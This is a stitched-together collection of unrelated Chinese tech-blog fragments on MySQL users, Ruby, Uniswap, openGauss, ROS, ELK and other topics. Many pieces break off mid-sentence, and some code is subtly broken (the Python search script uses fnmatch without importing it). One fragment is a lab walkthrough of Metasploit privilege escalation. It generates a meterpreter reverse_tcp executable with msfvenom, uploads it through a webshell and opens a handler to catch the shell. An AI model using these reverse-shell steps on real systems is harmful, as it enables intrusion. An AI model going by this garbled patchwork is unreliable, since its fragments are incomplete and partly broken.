目录
提交与回退
关键文件的区别
提交与回退 在新版本提交 之前,进行了各个版本的自己的备份 ;
且进行了将new -> real web目录的更新(及数据库的更新);
当进行回退时,进行了 real -> real web目录的更新。 关键文件的区别
文章目录 一、user表1. 用户字段2. 权限字段3. 安全字段4. 资源控制字段5. 默认用户 二、创建用户1. CRESTE USER授权用户的组成 2. GRANT 三、重命名用户四、修改用户密码1. mysqladmin2. ALTER USER3. SET PASSWORD4. UPDATE5. 密码过期设置与用户锁定5.1 密码过期设置5.2 用户的锁定与解锁 五、删除用户1. DROP USER2. DELETE 六、root密码丢失怎么办1. 停止MySQL服务2. 使用\-\-skip-grant-tables登录3. 登录MySQL4. 加载权限表5. ALTER USER重置密码6. 重新启动MySQL服务 MySQL是一个多用户数据库管理系统,不同的用户分配不同的权限,其用户大致分为root用户和普通用户。root用户是超级管理员,拥有所有权限,如创建用户、删除用户、管理用户等。普通用户只有被授予的指定权限。 在校学习和日常开发的时候,为了方便,一般都可以通过root用户登录数据库进行相关的操作;但生产环境为保证数据库的安全,需要对不同用户的操作权限进行合理的管理,让用户只能在指定的权限范围内操作。 一、user表 安装MySQL时,系统自动创建一个名称为mysql的数据库,该数据库主要用于维护数据库的用户及权限的控制和管理。它包含的数据表有user、db、host等,其中user表保存了所有用户信息,即包含了允许连接到服务器的账号信息,也有一些全局级的权限信息,全局级的权限适用于给定服务器中的所有数据库。
1. 用户字段 user表存储了用户连接MySQL数据库时需要输入的信息。
字段名数据类型允许NULL默认值说明Hostchar(255)否-主机名,主键Userchar(32)否-用户名,主键authentication_stringtext是-密码 当用户与MySQL服务端建立连接时,MySQL将用户输入的用户名、主机名、密码与user表用户字段中存储的值进行匹配。只有这三个字段全部匹配成功,才允许用户建立连接。
2. 权限字段 user表的权限字段包括Select_priv、Insert_priv、Update_priv、Delete_priv等以priv结尾的字段,这些字段决定了用户的权限,包括查询权限、修改权限、关闭服务等。
可以通过show create table user查看这些字段信息。
user表对应的权限是针对所有数据库的,并且这些权限字段的数据类型都是ENUM,取值为N或Y;默认值是N。
3. 安全字段 user表的安全字段包含安全连接、身份验证和密码相关等字段,主要用于管理用户的安全信息。
包括SSL加密连接相关、X509证书相关、插件相关、密码相关(password开头的字段)、是否锁定、用户属性等字段。
4. 资源控制字段 user表的资源控制字段包含以max开头的4个字段,它们用于限制用户对服务器资源的使用,防止用户登录服务器后的不法操作或不合规范的操作导致服务器资源的浪费。
字段名数据类型默认值描述max_questionsint0每小时允许用户执行查询操作的次数max_updatesint0每小时允许用户执行更新操作的次数max_connectionsint0每小时允许用户执行连接操作的次数max_user_connectionsint0允许单个用户同时建立连接的数量 5. 默认用户 MySQL数据库安装配置成功后,MySQL就创建了几个默认用户。
主机用户名说明localhostmysql.infoschemaMySQL数据库的系统用户,用来管理和访问系统自带的information_schema数据库localhostmysql.sessionMySQL的插件将会使用该用户来访问MySQL数据库服务器。客户端不能直接使用该用户进行连接localhostmysql.sys用于MySQL数据库中对象的定义。使用该用户可避免数据库管理员重命名或者删除root用户时发生的问题。客户端不能直接使用该用户进行连接localhostrootMySQL的超级用户,用于管理MySQL数据库。该用户拥有所有权限,可执行任何操作。不建议使用该用户操作MySQL数据库 二、创建用户 1. CRESTE USER MySQL中的用户信息都保存在mysql.user表中,因此可以利用root用户向user表中插入记录的方式创建用户。但为了保证数据安全,推荐使用更安全的CRESTE USER语句创建用户,语法:
在 macOS 上切换 Ruby 环境主要涉及到使用不同的 Ruby 版本管理工具,比如 RVM(Ruby Version Manager)或 rbenv。下面分别介绍如何使用这两种工具在 Mac 上切换 Ruby 环境:
使用 RVM 切换 Ruby 环境 安装 RVM: 首先,在终端中运行以下命令来安装 RVM:
\curl -sSL https://get.rvm.io | bash -s stable 安装所需的 Ruby 版本: 使用 RVM 安装特定的 Ruby 版本,例如:
rvm install ruby_version 切换 Ruby 版本: 使用以下命令切换到已安装的 Ruby 版本:
rvm use ruby_version 查看版本: rvm list known 使用 rbenv 切换 Ruby 环境 安装 rbenv: 使用 Homebrew 来安装 rbenv:
brew install rbenv 安装所需的 Ruby 版本: 使用 rbenv 安装特定的 Ruby 版本,例如:
factory contract 工厂合约是所有已部署pair合约的注册表。我们不希望出现相同的pair,这样流动性就不会被分割成多个。factory合约还简化了pair合约的部署:无需手动部署pair合约,只需调用factory合约中的方法即可。
https://github.com/XuHugo/solidityproject/tree/master/uniswapv2xq
Uniswap 只部署了一个factory合约,该合约是 Uniswap 的官方注册机构。这对发现pair也很有用:人们可以通过token地址查询合约,找到pair。此外,还可以通过扫描合约的历史事件来查找所有已部署的pair。当然,我们也可以手动部署pair,而不在factory合约中注册。
contract ZuniswapV2Factory { error IdenticalAddresses(); error PairExists(); error ZeroAddress(); event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); mapping(address => mapping(address => address)) public pairs; address[] public allPairs; ... 工厂合约非常简洁明了:它只在创建pair时发出 PairCreated 事件,并存储所有已创建pair的列表和映射。
不过,创建pair很麻烦:
function createPair(address tokenA, address tokenB) public returns (address pair) { if (tokenA == tokenB) revert IdenticalAddresses(); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); if (token0 == address(0)) revert ZeroAddress(); if (pairs[token0][token1] !
文章目录 MSF Windows提权
反弹shell
提权
END推荐阅读
MSF Linux提权
反弹shell
补充wesng用法
Metasploit 是一个渗透框架,kali 内安装了,安装位置如下
/usr/share/metasploit-framework 选定需要使用的攻击模块之后,你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用,将渗透的过程自动化、简单化
主要作用:漏洞验证、漏洞利用、内网渗透等
MSF Windows提权 靶机:
Win server2003 + iis(已通过webshell拿到低权限用户)IP:192.168.179.143 攻击机:
Kali LinuxIP:192.168.179.128 反弹shell 使用msf生成payload
在Kali中输入命令进入msf msfconsole 生成payload
msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe \# lhost 是kali的ip \# lport 是kali监听端口 将刚才生成的 s.exe 文件上传到服务器(靶机)C:\RECYCLER\s.exe 目录(因为一般C:\RECYCLER\ 目录都有读写权限)
kali 开启本地监听 use exploit/multi/handler set payload windows/meterpreter/reverse\_tcp set lhost 192.168.179.128 set lport 12345 exploit 使用命令可以查看配置情况
show options 使用webshell执行上传的s.exe文件,发现缺少对象,在windows提权篇说过,这种情况需要上传一个版本匹配的cmd.exe文件到c:\recycler目录 执行接收到反弹shell(截图端口有误应为12345)
前言 网络安全现在是朝阳行业,缺口是很大。不过网络安全行业就是需要技术很多的人达不到企业要求才导致人才缺口大
初级的现在有很多的运维人员转网络安全,初级也会慢慢的卷起来,但是岗位多不用怕,以后各大厂也都会要网络安全人员,后续法律也会改革,网络安全只会越来越好,毕竟是国家牵头的,网络安全问题导致很多大企业都泄露过信息,还有被勒索的,层出不穷。
这个行业优势就是工资高,缺点就需要一直学,卷得要死,不是跟别人卷,而是跟自己卷,一会后面细说
这个行业目前从事最多几个岗位,分别是安全运维,安全服务,安全研究。
运维先不说,岗位性质比较单一
安全服务岗 安全服务岗分为安全工程师,安全服务工程师,渗透测试工程师,等保测评等
其中安全工程师大多和设备打交道,类似于网络工程师,过去调试设备,根据需求调试好,然后撤退,这种岗位大多会招一些持有网络工程师证书的,如HCIE,HCIP等。
安全服务工程师,简称安服,就是提供安全服务,按照客户需求调试设备,让客户过等级保护,然后就是做一些简单的漏洞测试(渗透测试),以及做一些简单的加固等等,有些时候会给客户做一些安全培训。
渗透测试工程师,类似黑客,做一些渗透测试,让客户知道自己有哪些问题。然后就是新业务上线前也会做一下渗透测试,检查一下有没有漏洞啥的。
等保测评的就和商家过消防一样,网络安全也有等级,没通过就是不合规的。
安全研究 安全研究分为漏洞研究,规则提取。
平时会对一些软件,建站系统等做一些漏洞挖掘,审计一下代码,看看有没有漏洞啥的
有时候行业内公布一个比较新的漏洞,就需要有人立马去复现它,研究漏洞的原理,然后提取这个漏洞规则,也称作特征,然后告诉客户或者研发,这个漏洞要如何防御,防火墙要怎么检测等。
剩下的工作就比较细了,比如二进制安全,逆向,木马的免杀等等
当然,可能还有些没补充到位的请见谅。
以上就是安全行业的一些岗位了。我目前就是做的安全研究,工资确实高
领导说搞安全,你要比开发更懂开发。。。。。
然后我每天早上2小时解决完一天的事情,写好日报,然后就是打开B站,开始充电。。。。。
感觉安全没有尽头,太多东西要学了,什么都要学
我觉得吧,我们公司不景气的时候,第一个被砍的,大概就是我们部门吧,不敢说太多,怕被社工,被大佬们社工,无异于鞭尸。。。。。所以我不敢公布薪资,不过薪资确实很高,和开发差不多,技术相同的话,会比开发更高一些
感觉大家对网络安全行业还挺感兴趣的,那就介绍一下学习方向吧!
首先,只要从事网络安全行业,和漏洞打交道,是跑不掉的,那么这里就要涉及到一个问题。
你需要了解漏洞并且能复现它对吧?毕竟你要把它再复现一次才能确定它的危害性啊,那么,这个时候,就有两个点
1是需要了解漏洞原理
2是需要进行漏洞复现
好,先说1,漏洞有个种各样的,有网页的,有软件的,像什么工控芯片漏洞啥的就别了吧,我自己都缕不清了,其中涉及的有php写的,有java写的,还有逻辑漏洞,有数据库的,以及网络传输的,加解密的等等。
好,这个时候来看看你要学啥,php,java,读代码,数据库,网络,加解密,这还没说什么稀奇古怪的堆栈溢出啥的,总之,要想人前显贵,必然,脑壳遭罪。说到这里,后面的也没必要说了,后边就是漏洞利用了。
因为学完这些就够了,基础牢固了,再看看B站上安全的视频,学完就自己去尝试着挖挖漏洞,或者你学完联系下我吧,帮我看看代码,我教你挖洞,咱们py一下,哈哈哈哈
二、学习路线 上面说完了三个大的技术方向后,下面来聊聊该怎么上路呢?下面说说我的看法。
首先别想分方向,先打好基础!
第一步:计算机基础 这第一步,其实跟网络安全关系都不太大,而是进入IT领域的任何一个人都要掌握的基础能力。下面五大课程,是大学老师当年教给我们的,不管你是什么技术方向最好都好好学的技术,如今看来,仍然不过时:
计算机网络计算机组成原理操作系统算法与数据结构数据 这每一门课程其实都内有乾坤,基本都不能做到一次学习就能掌握,而是伴随每个人的职业生涯,不同的技术阶段都会有不一样的认识和感受。
具体学起来建议参考敏捷开发,不断迭代:有一个粗略的认识**->有了进一步的认识->彻底掌握->温故而知新。**不用纠缠于把一门课程全部学完学懂才进入下一门课程。
第二步:编程能力 有了上面的一些基本功后,这个时候就需要动手,来写点代码,锤炼一下编程的功底。
下面三项,是安全行业的从业者都最好能掌握的语言:
Shell脚本:掌握常用的Linux命令,能编写简单的Shell脚本,处理一些简单的事务。C语言(C++可选) :C语言没有复杂的特性,是现代编程语言的祖师爷,适合编写底层软件,还能帮助你理解内存、算法、操作系统等计算机知识,建议学一下。Python:C语言帮助你理解底层,Python则助你编写网络、爬虫、数据处理、图像处理等功能性的软件。是程序员,尤其是黑客们非常钟爱的编程语言,不得不学。 第三步:安全初体验 有了前面两步的打底,是时候接触一些网络安全的技术了,刚刚开始这个阶段,仍然不要把自己圈起来只学某一个方向的技术。这个阶段,我的建议是:但当涉猎,见往事耳。
网络协议攻击、Web服务攻击、浏览器安全、漏洞攻击、逆向破解、工具开发都去接触一下,知道这是做什么的,在这个过程中去发现自己的兴趣,让自己对网络安全各种领域的技术都有一个初步的认识。
第四步:分方向 在第三步中,慢慢发现自己的兴趣点,是喜欢做各种工具的开发,还是喜欢攻破网站,还是痴迷于主机电脑的攻击···
这个时候就可以思考自己后面的方向,然后精力开始聚焦在这个方向上,通过上面思维导图中各自方向的技术去持续深耕,成为某一个领域的大拿。
最后 为了帮助大家更好的学习网络安全,小编给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,所有资料共282G,朋友们如果有需要全套网络安全入门+进阶学习资源包,可以点击免费领取(如遇扫码问题,可以在评论区留言领取哦)~
😝有需要的小伙伴,可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓
👉CSDN大礼包🎁:全网最全《网络安全入门&进阶学习资源包》免费分享**(安全链接,放心点击)**👈
1️⃣零基础入门 ① 学习路线 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频 同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
2️⃣视频配套资料&国内外网安书籍、文档 ① 文档和书籍资料 ② 黑客技术 因篇幅有限,仅展示部分资料
介绍: 人工智能(AI)是计算机科学的一个分支,基于某些独特的算法和相关数学计算,使机器能够拥有人类的决策能力。另一方面,网络安全包括保护虚拟世界免受网络攻击和威胁的安全措施。人工智能能够通过采取与精确算法和数学计算相关的安全措施来保护和清理网络空间。随着人工智能在现代世界中的作用增加,对网络安全的威胁已成为一个严重的问题。
AI 如何识别和防止网络攻击: 人工智能可以轻松识别来自各种网络平台和基于高安全性的官方网站对网络空间的攻击。为了发起网络攻击,黑客使用勒索软件、恶意软件和其他工具进行渗透测试并发现系统中的漏洞。最后,他们利用漏洞来破解系统。从这种情况来看,需要高安全性的站点依赖于AI作为检测网络攻击的主要方法。为了防止网络攻击,网站的负责人会像黑客一样思考。在这里,人工智能将被用于黑客的思维方式并试图破解安全代码。因此,像Norm Shield记分卡这样的软件工具是基于人工智能的,可以使网站远离黑客的网络攻击。
超越传统安全措施的人工智能范围: 传统上,安全措施依赖于防病毒软件,如防火墙,快速修复和其他工具来检测和防止Web安全威胁。从这种情况来看,软件的及时更新和负责安全的人员的态度将决定网站或虚拟平台的安全级别。人工智能依赖于机器学习、深度学习、自然语言处理等创新技术,使黑客难以访问存储在计算机中的服务器和其他有价值的信息。
人工智能减少了人类对网络安全事务的参与: 网络安全专业人员的任务是密切关注网站的安全性。这限制了人工智能参与网络安全事务的范围,因为人类通过做出与网络安全相关的决策来控制一切。网络安全专业人员很难在没有休息、假期或休假的情况下工作数小时。而人工智能可以毫无中断地处理类似的情况,因为它被编程为处理高风险的情况而没有任何担忧。
结论: 人工智能经历了快速的变化,从单纯的技术援助到网络安全专家,以应对与检测和预防网络攻击相关的挑战。在机器语言的帮助和支持下,人工智能可以发现网络安全威胁,并通知当局采取适当措施立即纠正。因此,参考现代背景,人工智能的作用正在增加信息技术的各个部门,如网络安全、软件测试和数据安全。
学习计划安排 我一共划分了六个阶段,但并不是说你得学完全部才能上手工作,对于一些初级岗位,学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦,无偿分享!!!
如果你也想学习:黑客&网络安全的零基础攻防教程 今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
在这里领取: 如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享 这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西: 1.学习路线&职业规划 2.全套体系课&入门到精通 3.黑客电子书&面试资料 4.漏洞挖掘工具和学习文档
本期共享的是 —— 地球上目前已知超过 200 种可用的编程语言,了解哪些语言在 2023 为开发者提供更高的薪水至关重要。
过去一年里,我分析了来自地球各地超过 1000 万个开发职位空缺,辅助我们了解市场,以及人气最高和收入最高的语言。粉丝请注意,在这项研究中,我们主要关注来自美国就业市场的开发岗位,这不是具备代表性的结果,无法显着减少开发就业机会任何潜在的数据偏差。
在纳入调查的 1000 万个开发职位中,存在 130 万个有涨薪。在这 130 万种语言中,有 230_000 种可以归类为编程语言。在这 230_000 份工作中,大约 86_000 个工作机会来自美国。
10. Java Java 位列前十。Java 的工作机会大多要求非常高水平的经验,而且像 Spring 这样的 Java 框架的薪资也是业界最高。Java 开发者的平均年薪约为 11.8 万美元。
平均工资:$118k薪资中位数:$117k就业岗位:23K 个工作 9. Swift Swift 是苹果开发的一种现代通用语言,它有多种用途,但最常见、人气最高的用途是开发 iOS 和 Mac App。Swift 开发者的平均年薪为 12.7 万美元。
平均工资:$127k薪资中位数:$125k就业岗位:174 个工作 8. Go 自谷歌团队成员于 2007 年推出 Go 以来,Go 已经人气爆棚。它简单、易于使用,并且可以高效完成工作。Go 深受 C 的影响,但也有内存安全、垃圾收集和结构类型方面的重大增强。
平均工资:$130k薪资中位数:$128k就业岗位:1.2K 个工作 7. Ruby Ruby 语言已经由来已久,但仍然老而弥坚。Ruby 的市场需求相当高,而且大部分都是高薪岗位。Ruby 主要流行于 Web 开发,与著名的 Ruby on Rails 框架梦幻联动。Ruby 还具有其他实用程序,从脚本和原型设计到使用 DragonRuby 等游戏开发。鉴于其多价性,学习 Ruby 永远不会是一个糟糕的选择,它也是一种高级语言,最终可以快速开发 App,这类似于 Python。
文章目录 介绍切分训练集切分测试集 介绍 json格式的数据集,每一行都是一个单独数据单元。
data.json的文件格式如下:
{"text": "彭小军认为,国内银行现在走的是台湾的发卡模式,先通过跑马圈地再在圈的地里面选择客户,", "label": {"address": {"台湾": [[15, 16]]}, "name": {"彭小军": [[0, 2]]}}} {"text": "温格的球队终于又踢了一场经典的比赛,2比1战胜曼联之后枪手仍然留在了夺冠集团之内,", "label": {"organization": {"曼联": [[23, 24]]}, "name": {"温格": [[0, 1]]}}} {"text": "突袭黑暗雅典娜》中Riddick发现之前抓住他的赏金猎人Johns,", "label": {"game": {"突袭黑暗雅典娜》": [[0, 7]]}, "name": {"Riddick": [[9, 15]], "Johns": [[28, 32]]}}} {"text": "郑阿姨就赶到文汇路排队拿钱,希望能将缴纳的一万余元学费拿回来,顺便找校方或者教委要个说法。", "label": {"address": {"文汇路": [[6, 8]]}}} {"text": "我想站在雪山脚下你会被那巍峨的雪山所震撼,但你一定要在自己身体条件允许的情况下坚持走到牛奶海、", "label": {"scene": {"牛奶海": [[43, 45]], "雪山": [[4, 5]]}}} 查看训练集的总数
wc -l data.json 如上图所示,数据集一共有10748行数据。
切分训练集 切分 9000 条作为训练集;取出data.json的前9000行数据存到train.json文件中
head -9000 data.
对于经常使用爬虫的我来说,在大多数文本编辑器都会有“在文件中查找”功能,主要是方便快捷的查找自己说需要的内容,那我有咩有可能用Ruby 或 Python实现类似的查找功能?这些功能又能怎么实现?
问题背景
许多流行的文本编辑器都具有“在文件中查找”功能,该功能可以在一个对话框中打开,其中包含以下选项:
查找: 指定要查找的文本。文件筛选器: 指定要搜索的文件类型。开始位置: 指定要开始搜索的目录。报告: 指定要显示的结果类型,例如文件名、文件计数或两者兼有。方法: 指定要使用的搜索方法,例如正则表达式或纯文本搜索。 有人希望使用 Python 或 Ruby 类来实现类似的功能,以便可以在任何支持 Python 或 Ruby 的平台上从脚本运行此操作。
解决方案
Python
以下代码提供了在指定目录中搜索特定文本的 Python 脚本示例:
import os import re def find_in_files(search_text, file_filter, start_dir, report_filenames, regex_search): results = [] if regex_search: p = re.compile(search_text) for dir, subdirs, subfiles in os.walk(start_dir): for name in fnmatch.filter(subfiles, file_filter): fn = os.path.join(dir, name) with open(fn, 'r') as f: if regex_search: results += [(fn, lineno) for lineno, line in enumerate(f) if p.
原因是SSH没配置好
点击工具→选项→
改成OpenSSH,密钥改成配置Git和本地仓库时生成的.ssh文件夹下的id_rsa文件。
金枪鱼群优化算法TSO优化BiLSTM-ATTENTION实现风力发电功率预测(matlab)
TSO-BiLSTM-Attention金枪鱼群算法优化长短期记忆神经网络结合注意力机制的数据回归预测 Matlab语言。
金枪鱼群优化算法(Tuna Swarm Optimization,TSO)是一种元启发算法,该算法的灵感来自金枪鱼群的合作觅食行为,包含螺旋觅食和抛物线觅食两种策略。TSO算法在单目标问题上具有收敛速度快、求解精度高等特点,是一种不错的优化算法。其主要思想是通过模拟金枪鱼群的觅食行为,来寻找最优解。
1.评价指标包括:RMSE、MAE、MAPE等,图很多,出图结果如图所示,可完全满足您的需求
2. 金枪鱼群优化算法也可以替换成其他算法,比如麻雀、鹈鹕、蜣螂等等,也可定制改进~
3.直接替换Excel数据即可用,适合新手小白
4.附赠风力发电功率测试数据,可直接运行
5.商品只是提供模型,价格不包含讲解,发货后可保证运行,但程序类商品不支持退换
6.由于每个人的数据集都是独一无二的,因此预测效果不同,无法保证替换数据就一定得到您满意的结果~
部分主函数代码如下:
X = xlsread('风电场预测.xlsx'); X = X(1:2000,:); %选取部分数据 disp('…………………………………………………………………………………………………………………………') disp('TSO_BiLSTM_ATTENTION预测') disp('由于数据量大,程序运行较慢,请耐心等待!') disp('…………………………………………………………………………………………………………………………') % TSO参数设置 pop=10; % 种群数量 Max_iter=10; % 最大迭代次数 dim=3; % 优化BiLSTM的3个参数 lb = [15,30,0.001];%下边界 ub = [150,500,0.1];%上边界 fobj = @(x) fobj(x,X) ; [Best_score,Best_pos,curve]=TSO(pop,Max_iter,lb,ub,dim,fobj); % 绘制进化曲线 figure plot(curve,'r-','linewidth',1) xlabel('进化代数') ylabel('均方根误差MSE') legend('最佳适应度') title('TSO-LSTM-ATTENTION的进化收敛曲线') disp('') disp(['最优隐藏单元数目为 ',num2str(round(Best_pos(1)))]); disp(['最优最大训练周期为 ',num2str(round(Best_pos(2)))]); disp(['最优初始学习率为 ',num2str((Best_pos(3)))]); 实验结果如下:
部分数据集如下:
给你一个整数 columnNumber ,返回它在 Excel 表中相对应的列名称。
例如:
A -> 1 B -> 2 C -> 3 ... Z -> 26 AA -> 27 AB -> 28 ... 示例 1:
输入:columnNumber = 1 输出:"A" 示例 2:
输入:columnNumber = 28 输出:"AB" 示例 3:
输入:columnNumber = 701 输出:"ZY" 示例 4:
输入:columnNumber = 2147483647 输出:"FXSHRXW" 题解: 本人解法: class Solution { public String convertToTitle(int columnNumber) { String str = ""; while (columnNumber > 0) { columnNumber--; int temp = columnNumber % 26; //这一步需要用'A'+columnNumber % 26的余数则会多1,所以在每次求余数前 //要先-1 char c = (char) ('A' + temp); str = c + str; columnNumber /= 26; } return str; } }
目录
前言:
1获取安装包 2修改操作系统配置
2.1更改python默认版本
2.2禁用SElinux 状态设置为disabled 2.3 关闭防火墙
2.4 关闭交换内存
2.5 修改字符集
2.6 关闭RemoveIPC
2.7 重启服务刷新配置
2.8 注释欢迎语 在Banner /etc/issue.net前面加#号
2.9 重启服务
2.10 关闭HTP服务
2.11 重启服务 3传输openGauss压缩包并解压 传输XML文件
3.1 创建opt/software/openGauss目录
3.2连接xshell 与xftp 3.3将两个文件都上传至/opt/software/openGauss目录下
3.3 将安装包(all和om包)解压在/opt/software/openGauss目录下使用tar -xzvf filename.tar.gz命令完成 如图 3-4 所示
3.4 更改目录权限
4配置XML文件
4.1 查询当前操作系统的主机名和ip地址 4.2 修改XML配置文件
5初始化安装环境gs_preinstall
5.1进入om解压后得到的script目录中
6安装gs_install
6.1 更改目录权限
6.2切换到系统用户omm,使用omm安装 7 openGauss使用
7.1启动服务
7.2查看状态
7.3 进入openGauss数据库
7.4退出数据库
7.5停止服务
致谢:
前言: 在openEuler-20.03-LTS-x86_64系统上安装openGauss数据库的过程主要包括以下几个步骤:
下载openGauss安装包:首先,您需要从openGauss官方网站下载适用于openEuler系统的openGauss安装包。确保选择与您系统架构(x86_64)和openEuler版本相匹配的安装包。
安装依赖软件:在安装openGauss之前,需要安装一些必要的依赖软件,如Java、perl等。您可以使用openEuler系统默认的包管理工具,如 yum 或 dnf 来安装这些软件包。
环境和包:
环境
python:python-3.12.0-amd64包:
matplotlib 3.8.2
pandas 2.1.4
openpyxl 3.1.2
scipy 1.12.0 代码: import pandas as pd import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.interpolate import griddata from matplotlib.colors import ListedColormap import numpy as np from matplotlib import pyplot as plt from matplotlib import font_manager from matplotlib.image import imread from matplotlib.widgets import Button from tkinter import messagebox #解决中文乱码问题 plt.rcParams['font.sans-serif']=['kaiti'] plt.rcParams["axes.unicode_minus"]=False #解决图像中的"-"负号的乱码问题 # 创建自定义颜色调色板 def create_custom_colormap(name, colors): colors = np.
重要参考:
课程链接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ
讲义链接:Introduction · Autolabor-ROS机器人入门课程《ROS理论与实践》零基础教程
5.1.5 坐标系关系查看 在机器人系统中,涉及的坐标系有多个,为了方便查看,ros 提供了专门的工具,可以用于生成显示坐标系关系的 pdf 文件,该文件包含树形结构的坐标系图谱。
1.准备 首先调用 rospack find tf2_tools 查看是否包含该功能包,如果没有,请使用如下命令安装:
sudo apt install ros-noetic-tf2-tools 2.使用 2.1生成 pdf 文件 启动坐标系广播程序之后,运行如下命令:
rosrun tf2_tools view_frames.py 会产生类似于下面的日志信息:
[INFO] [1592920556.827549]: Listening to tf data during 5 seconds... [INFO] [1592920561.841536]: Generating graph in frames.pdf file... 查看当前目录会生成一个 frames.pdf 文件
2.2查看文件 可以直接进入目录打开文件,或者调用命令查看文件:evince frames.pdf
内如如图所示:
另请参考:
tf2_tools - ROS Wiki 5.1.7 TF2与TF 1.TF2与TF比较_简介 TF2已经替换了TF,TF2是TF的超集,建议学习 TF2 而非 TF
TF2 功能包的增强了内聚性,TF 与 TF2 所依赖的功能包是不同的,TF 对应的是 tf 包,TF2 对应的是 tf2 和 tf2_ros 包,在 TF2 中不同类型的 API 实现做了分包处理。
// 将所有可枚举属性的值从一个或多个源对象复制到目标对象。它将返回目标对象。
const target = {a: 1, b: 2}
const source = {b: 4, c: 5}
const returnedTarget = Object.assign(target, source)
// output: Object { a: 1, b: 4, c: 5 }
console.log(target)
// output: Object { a: 1, b: 4, c: 5 }
console.log(returnedTarget)
// 浅拷贝复制对象 Object.assign()拷贝的是属性值。假如源对象的属性值是一个对象的引用,那么它也只指向那个引用
const obj = {a: 1}
const copy = Object.assign({}, obj)
// { a: 1 }
console.log(copy)
// 合并对象
const o1 = {a: 1}
文章目录 1.日志收集规划2.Elasticsearch部署2.1.Elasticsearch安装2.2.Elasticsearch-head安装2.3.Elasticsearch设置分片数2.4.elasticsearch健康检查 3.Kibana部署4.Logstash部署5.Filebeat部署 开源中间件 # Elastic Stack https://iothub.org.cn/docs/middleware/ https://iothub.org.cn/docs/middleware/elk/elk-deploy/ 1.日志收集规划 日志管理使用Elastic Stack框架,系统的重要日志进行聚合,统一管理。
涉及的组件包括:Elasticsearch、Filebeat、Logstash、Kibana、RabbitMQ、Nginx。
微服务日志采集 微服务日志通过Logback写到MQ(kafka或rabbitmq,目前选择rabbitmq),logstash读取MQ把日志写到Elasticsearch,通过Kibana查询。
中间件、数据库日志采集 中间件、数据库日志通过Filebeat写到Elasticsearch,通过Kibana查询。
生产环境日志架构
2.Elasticsearch部署 2.1.Elasticsearch安装 准备工作 ### 准备工作 # 启动简单版,然后 copy 文件到 宿主机,最后删除该容器 # 创建目录 mkdir -p /elk/cluster/es # 运行docker docker run -tid \ --name=elasticsearch \ -p 19200:9200 \ -p 19300:9300 \ -v /etc/localtime:/etc/localtime \ -e ES_JAVA_OPTS="-Xms4g -Xmx4g" \ -e TZ='Asia/Shanghai' \ -e LANG="en_US.UTF-8" \ elasticsearch:7.1.1 # 复制配置文件 docker cp elasticsearch:/usr/share/elasticsearch/config/ /elk/cluster/es/ docker cp elasticsearch:/usr/share/elasticsearch/data/ /elk/cluster/es/ docker cp elasticsearch:/usr/share/elasticsearch/logs/ /elk/cluster/es/ docker cp elasticsearch:/usr/share/elasticsearch/plugins/ /elk/cluster/es/ # 删除镜像 docker stop elasticsearch docker rm elasticsearch 配置es ### es-node-01配置(172.
在快节奏的现代生活中,许多人可能会遭遇植物神经紊乱的困扰,表现为焦虑、失眠、心悸等症状,严重影响生活质量。但请记住,您并不孤单,让我们一起探索如何调整心态,缓解这些不适,恢复身心和谐。
植物神经紊乱是一种常见的心身疾病,它与我们的情绪、压力管理密切相关。了解其成因和症状,是调整心态的第一步。
接受专业指导
寻求心理咨询师或医生的帮助,他们能提供专业的建议和治疗方案,帮助你更好地理解自己的状况,并制定个性化的调整计划。
建立健康生活习惯
规律作息、均衡饮食、适量运动,这些基本的生活习惯对于调整植物神经紊乱至关重要。它们能够帮助你建立起稳定的生活节奏,减少不必要的压力。
学会放松技巧
深呼吸、瑜伽、冥想等放松技巧能够有效减轻压力,帮助植物神经恢复正常功能。每天抽出一些时间进行放松练习,对心态的调整大有裨益。
培养积极心态
保持乐观的心态,学会正面看待问题和挑战。积极心态能够帮助你更好地应对生活中的压力,减少植物神经紊乱的发生。
社交互动
与家人、朋友保持良好的社交互动,分享你的感受和经历。社交支持是缓解心理压力的重要途径。
创造舒适环境
打造一个舒适的居住和工作环境,这包括适宜的温度、光线和噪音水平,以及让你感到放松的物品和装饰。
记录情绪变化
通过日记或情绪日志记录自己的情绪变化,有助于你更清晰地认识到情绪波动的模式,从而更好地管理和调整。
植物神经紊乱并不是无法克服的障碍,通过上述方法的实践和坚持,你可以逐步调整心态,找回生活的节奏和平衡。记住,每一次的努力都是向健康生活迈进的一大步。让我们一起,用心聆听身体的声音,和谐身心,享受生活!
如果您觉得本文对您有所帮助,别忘了点赞和关注哦!更多关于身心健康的知识和技巧,我们将持续为您分享。让我们携手同行,在健康的道路上不断前进!
步骤 1. 在虚幻商城中安装“Datasmith Twinmotion导入器插件”
安装“面向虚幻引擎的Twinmotion内容”
2. 打开虚幻引擎,在插件中搜索“twinmotion”,勾选如下两个插件,然后重启虚幻引擎
3. 打开Twinmotion,随便添加一个物体
导出至Datasmith文件
4. 回到虚幻编辑器中,使用datasmith导入模型
这里只需要勾选“几何体”和“材质和纹理”
导入成功